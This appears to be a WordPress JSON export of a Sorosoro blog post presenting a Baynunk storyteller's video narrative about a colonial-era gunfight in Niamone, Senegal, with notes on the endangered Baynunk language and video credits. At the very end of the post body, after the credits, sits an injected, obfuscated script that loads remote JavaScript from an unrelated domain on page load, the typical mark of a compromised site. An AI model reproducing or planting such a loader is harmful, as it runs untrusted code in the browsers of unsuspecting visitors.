{"id":43794,"date":"2011-03-18T09:32:10","date_gmt":"2011-03-18T08:32:10","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=43794"},"modified":"2025-10-21T23:08:34","modified_gmt":"2025-10-21T21:08:34","slug":"historical-narrative-when-the-white-man-came-to-the-village","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/03\/historical-narrative-when-the-white-man-came-to-the-village\/","title":{"rendered":"Historical narrative: when the white man came to the village\u2026"},"content":{"rendered":"<p style=\"text-align: justify;\">Storyteller <strong>S\u00e9kou Djikabo Coly <\/strong>brings us a historical narrative of the <strong>Baynunk community in Niamone<\/strong>, Casamance, southern Senegal. It tells the story of when some <strong>\u00ab<\/strong> <strong>white man \u00bb arrived <\/strong>hoping to take over the village. A gunfight followed, an unequal battle unfolding with no surprise\u2026<\/p>\n<p style=\"text-align: justify;\"><em> <\/em><\/p>\n<p style=\"text-align: justify;\"><em>Reminder: <a href=\"https:\/\/www.sorosoro.org\/en\/baynunk\">Baynunk <\/a>is a language spoken in southern Senegal, as well as in neighbouring Gambia and Guinea-Bissau. It belongs to the <a href=\"https:\/\/www.sorosoro.org\/en\/niger-congo-languages\">Niger-Congo family <\/a>(North-Atlantic branch, Tenda-Nyun group)\u00a0 and includes several dialectal variations. In 2006, Ethnologue.com estimated the number of Baynunk speakers around 6,200, figures leading to consider Baynunk an \u00ab endangered language \u00bb according to UNESCO standards. Widely understudied, Baynunk was finally codified in 2005 and now comprises an official spelling system.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/videos-in-baynunk-senegal\">Watch all videos in Baynunk<\/a><\/p>\n<p style=\"text-align: justify;\">\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/nvCD4ng4lbo?fs=1&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/nvCD4ng4lbo?fs=1&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><\/p>\n<p style=\"text-align: justify;\">\n<p><span style=\"text-decoration: underline;\">Linguist<\/span>: Sokhna Bao-Diop<\/p>\n<p><span style=\"text-decoration: underline;\">Image &amp; sound<\/span>: Muriel Lutz, assisted by Cheikh Tidiane Sall<\/p>\n<p><span style=\"text-decoration: underline;\">Editing<\/span>: Caroline Laurent<\/p>\n<p>Video created within the <em>ANR S\u00e9n\u00e9langues project<\/em><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Storyteller S\u00e9kou Djikabo Coly brings us a historical narrative of the Baynunk community in Niamone, Casamance, southern Senegal. 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